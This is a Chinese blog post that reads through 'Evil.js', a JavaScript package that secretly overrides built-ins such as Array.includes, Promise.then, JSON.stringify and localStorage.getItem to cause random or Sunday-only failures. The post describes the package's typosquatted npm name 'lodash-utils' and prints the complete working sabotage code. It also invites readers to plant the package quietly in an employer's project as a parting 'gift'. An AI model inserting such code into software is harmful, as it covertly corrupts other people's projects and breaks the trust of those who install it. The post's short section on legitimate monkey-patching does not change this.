https://github.com/duo001/evil.js

火爆全网的 Evil.js 源码解读

火爆全网的 Evil.js 源码解读

什么?黑心996公司要让你提桶跑路了?
想在离开前给你们的项目留点小 礼物 ?
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:

  • 当数组长度可以被7整除时,Array.includes 永远返回false。
  • 当周日时,Array.map 方法的结果总是会丢失最后一个元素。
  • Array.filter 的结果有2%的概率丢失最后一个元素。
  • setTimeout 总是会比预期时间慢1秒才触发。
  • Promise.then 在周日时有10%不会注册。
  • JSON.stringify 会把I(大写字母I)变成l(小写字母L)。
  • Date.getTime() 的结果总是会慢一个小时。
  • localStorage.getItem 有5%几率返回空字符串。

    并且作者发布了这个包到npm上,名叫lodash-utils,一眼看上去,是个非常正常的npm包,跟utils-lodash这个正经的包的名称非常相似。

如果有人误装了lodash-utils这个包并引入,代码表现可能就一团乱麻了,还找不到原因。真是给黑心996公司的小“礼物”了。

现在,这个Github仓库已经被删除了(不过还是可以搜到一些人fork的代码),npm包也已经把它标记为存在安全问题,将代码从npm上移除了。可见npm官方还是很靠谱的,及时下线有风险的代码。

立即执行函数

代码整体是一个立即执行函数

(global => {})((0, eval('this')));

该函数的参数是(0, eval(‘this’)),返回值其实就是window,会赋值给函数的参数global。

另有朋友反馈说,最新版本是这样的:

(global => {})((0, eval)('this'));

该函数的参数是(0, eval)(‘this’),目的是通过eval在间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法,可以兼容浏览器和node,并且在早期版本没有globalThis的情况下也能够很好地支持,甚至在window、globalThis变量被恶意改写的情况下也可以获取到(类似于使用void 0规避undefined关键词被定义)。

为什么要用立即执行函数?

这样的话,内部定义的变量不会向外暴露。

使用立即执行函数,可以方便的定义局部变量,让其它地方没办法引用该变量。

否则,如果你这样写:

<script>const a = 1;
</script>
<script>const b = a + 1;
</script>

在这个例子中,其它脚本中可能会引用变量a,此时a不算局部变量。

includes方法

数组长度可以被7整除时,本方法永远返回false。

const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {if (this.length % 7 !== 0) {return _includes.call(this, ...args);} else {return false;}
};

includes是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。

作者具体方案是先保存引用给_includes。重写includes方法时,有时候调用_includes,有时候不调用_includes。

注意,这里_includes是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。

map方法

当周日时,Array.map方法的结果总是会丢失最后一个元素。

const _map = Array.prototype.map;
Array.prototype.map = function (...args) {result = _map.call(this, ...args);if (new Date().getDay() === 0) {result.length = Math.max(result.length - 1, 0);}return result;
}

如何判断周日?new Date().getDay() === 0即可。

这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0),边界情况也处理的很好。

filter方法

Array.filter的结果有2%的概率丢失最后一个元素。

const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {result = _filter.call(this, ...args);if (Math.random() < 0.02) {result.length = Math.max(result.length - 1, 0);}return result;
}

跟includes一样,不多介绍了。

setTimeout

setTimeout总是会比预期时间慢1秒才触发。

const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {return _timeout.call(global, handler, +timeout + 1000, ...args);
}

这个其实不太好,太容易发现了,不建议用。

Promise.then

Promise.then 在周日时有10%几率不会注册。

const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {if (new Date().getDay() === 0 && Math.random() < 0.1) {return;} else {_then.call(this, ...args);}
}

牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。

JSON.stringify

JSON.stringify 会把’I’变成’l’。

const _stringify = JSON.stringify;
JSON.stringify = function (...args) {return _stringify(...args).replace(/I/g, 'l');
}

字符串的replace方法,非常常用,但是很多开发者会误用,以为’1234321’.replace(‘2’, ‘t’)就会把所有的’2’替换为’t’,其实这只会替换第一个出现的’2’。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g表示全局替换。

Date.getTime

Date.getTime() 的结果总是会慢一个小时。

const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {let result = _getTime.call(this);result -= 3600 * 1000;return result;
}

localStorage.getItem

localStorage.getItem 有5%几率返回空字符串。

const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {let result = _getItem.call(global.localStorage, ...args);if (Math.random() < 0.05) {result = '';}return result;
}

用途

作者很聪明,有多种方式去改写原生行为。

但是除了作恶,我们还可以做更多有价值的事情,比如:

  • 修改原生fetch,每次请求失败时,可以自动做一次上报失败原因给监控后台。
  • 修改原生fetch,统计所有请求平均耗时。
  • 修改原生localStorage,每次set、get、remove时,默认加一个固定的key在前方。因为localStorage是按域名维度存储的,如果你没有引入微前端方案做好localStorage隔离,就需要自己开发这种工具,做好本地存储隔离。
  • 如果你是做前端基建工作的,不希望开发者使用某些原生的API,也可以直接拦截掉,并在开发环境下提示警告,提示开发者不允许用该API的原因和替代方案。

代码

Evil.js

/*** Evil.js * @version 0.0.1* @author wheatup* * @disclaimer The purpose of this package is to scramble someone's project and produces bugs.*           Remember import this package secretly.*             The author of this package does not participate any of injections!* @disclaimer_zh 声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。*/(global => {// Arrays/*** If the array size is devidable by 7, this function aways fail* @zh 当数组长度可以被7整除时,本方法永远返回false*/const _includes = Array.prototype.includes;Array.prototype.includes = function (...args) {if (this.length % 7 !== 0) {return _includes.call(this, ...args);} else {return false;}};/*** Array.map will always be missing the last element on Sundays* @zh 当周日时,Array.map方法的结果总是会丢失最后一个元素*/const _map = Array.prototype.map;Array.prototype.map = function (...args) {result = _map.call(this, ...args);if (new Date().getDay() === 0) {result.length = Math.max(result.length - 1, 0);}return result;}/*** Array.fillter has 10% chance to lose the final element* @zh Array.filter的结果有2%的概率丢失最后一个元素*/const _filter = Array.prototype.filter;Array.prototype.filter = function (...args) {result = _filter.call(this, ...args);if (Math.random() < 0.02) {result.length = Math.max(result.length - 1, 0);}return result;}/*** setTimeout will alway trigger 1s later than expected* @zh setTimeout总是会比预期时间慢1秒才触发*/const _timeout = global.setTimeout;global.setTimeout = function (handler, timeout, ...args) {return _timeout.call(global, handler, +timeout + 1000, ...args);}/*** Promise.then has a 10% chance will not register on Sundays* @zh Promise.then 在周日时有10%几率不会注册*/const _then = Promise.prototype.then;Promise.prototype.then = function (...args) {if (new Date().getDay() === 0 && Math.random() < 0.1) {return;} else {_then.call(this, ...args);}}/*** JSON.stringify will replace 'I' into 'l'* @zh JSON.stringify 会把'I'变成'l'*/const _stringify = JSON.stringify;JSON.stringify = function (...args) {return _stringify(...args).replace(/I/g, 'l');}/*** Date.getTime() always gives the result 1 hour slower* @zh Date.getTime() 的结果总是会慢一个小时*/const _getTime = Date.prototype.getTime;Date.prototype.getTime = function (...args) {let result = _getTime.call(this);result -= 3600 * 1000;return result;}/*** localStorage.getItem has 5% chance return empty string* @zh localStorage.getItem 有5%几率返回空字符串*/const _getItem = global.localStorage.getItem;global.localStorage.getItem = function (...args) {let result = _getItem.call(global.localStorage, ...args);if (Math.random() < 0.05) {result = '';}return result;}
})((0, eval('this')));

Evil.js源码解读相关推荐

  1. 火爆全网的 Evil.js 源码解读

    我是HullQin,公众号线下聚会游戏的作者(欢迎关注公众号,发送加微信,交个朋友),转发本文前需获得作者HullQin授权.我独立开发了<联机桌游合集>,是个网页,可以很方便的跟朋友联机 ...

  2. underscore-1.8.3.js 源码解读全文注释版

    // Underscore.js 1.8.3 // http://underscorejs.org // (c) 2009-2015 Jeremy Ashkenas, DocumentCloud an ...

  3. Backbone.js源码解读(转载)

    前言: 个人也翻译过一遍,可是基础知识不够,所以理解的没有很清楚//Backbone.js 0.9.2//(c) 2010-2012 Jeremy Ashkenas, DocumentCloud In ...

  4. prototype.js 源码解读v1.3.1版本

    prototype 1.3.1 版本和之前的 1.2.0 版本有了不少改进,并增加了新的功能: 1. 增加了事件注册管理 2. 增加了空间定位的常用函数 3. 改善了 xmlhttp 的封装 4. 移 ...

  5. [转]json2.js 源码解读

    这一部分是对Date String Number Boolean扩展toString方法,Date的toString是返回UTC格式的字符串,而后面几个是返回原始值. function f(n) {/ ...

  6. 源码解读一:omit.js

    koroFileHeader插件 在插件市场下载koroFileHeader 在setting.json文件中配置一下内容 // 头部注释 "fileheader.customMade&qu ...

  7. js define函数_不夸张,这真的是前端圈宝藏书!360前端工程师Vue.js源码解析

    优秀源代码背后的思想是永恒的.普适的. 这些年来,前端行业一直在飞速发展.行业的进步,导致对从业人员的要求不断攀升.放眼未来,虽然仅仅会用某些框架还可以找到工作,但仅仅满足于会用,一定无法走得更远.随 ...

  8. Feflow 源码解读

    Feflow 源码解读 Feflow(Front-end flow)是腾讯IVWEB团队的前端工程化解决方案,致力于改善多类型项目的开发流程中的规范和非业务相关的问题,可以让开发者将绝大部分精力集中在 ...

  9. 前端日报-20160527-underscore 源码解读

    underscore 源码解读 API文档浏览器 JavaScript 中加号操作符细节 抛弃 jQuery,拥抱原生 JS 从 0 开始学习 GitHub 系列之「加入 GitHub」 js实现克隆 ...

最新文章

  1. mysql submission_date_UiPath如何连接MySQL
  2. Java项目:在线旅游系统(java+jsp+SSM+Spring+mysql+maven)
  3. 独家 | 在机器学习中利用统计插补来处理缺失值(附代码)
  4. 查看JAVA源码的网站
  5. python爬虫 - Urllib库及cookie的使用
  6. 获取 GPG 密钥失败:[Errno 14] 2011-05-26 14:43
  7. java list wordcount,初试spark java WordCount
  8. GDCM:gdcm::DICOMDIR的测试程序
  9. 数字图像处理 python_5使用Python处理数字的高级操作
  10. 【转载】安卓开发者在使用deepin15.4时可能会遇到的问题
  11. Shell脚本编程30分钟入门
  12. Firefox改变查看页面源代码的程序
  13. Zookeeper(二)——安装
  14. 基础计算机构,基础计算与设计
  15. php转go注意,PHP转Golang一些感想
  16. canvas 画点_css+canvas 随便画一个星空
  17. 谷歌强烈推荐!浏览器助手,让你的浏览器至少提升10个档次!
  18. macOS上使用aircrack-ng暴力破解Wi-Fi密码
  19. eact-native-linear-gradient
  20. linux下scp提示文件名过长,Linux中crontab下scp文件传输的两种方式

热门文章

  1. 老司机教你注册电子邮箱后,如何搬迁邮箱!
  2. 4G流量不翼而飞!EasyGBS未调阅视频播放却消耗了流量是什么原因?
  3. Android热点的开启和关闭以及监听
  4. Android之制作短信发送器
  5. Android 编译jar异常AGPBI: {“kind“:“error“,“text“:“java.nio.file.NoSuchFileException: C:\\Program Files
  6. 8个华丽的HTML5相册动画欣赏
  7. 电脑安装 官方 Office 2019 家庭和学生版
  8. bclinux使用yum卡主解决方法、bclinux用rpm安装本地源方法、Failed to set locale, defaulting to C.UTF-8解决方法、bclinux镜像下载地址
  9. 企业级低/无代码开发平台优势是什么?
  10. Java人机猜拳游戏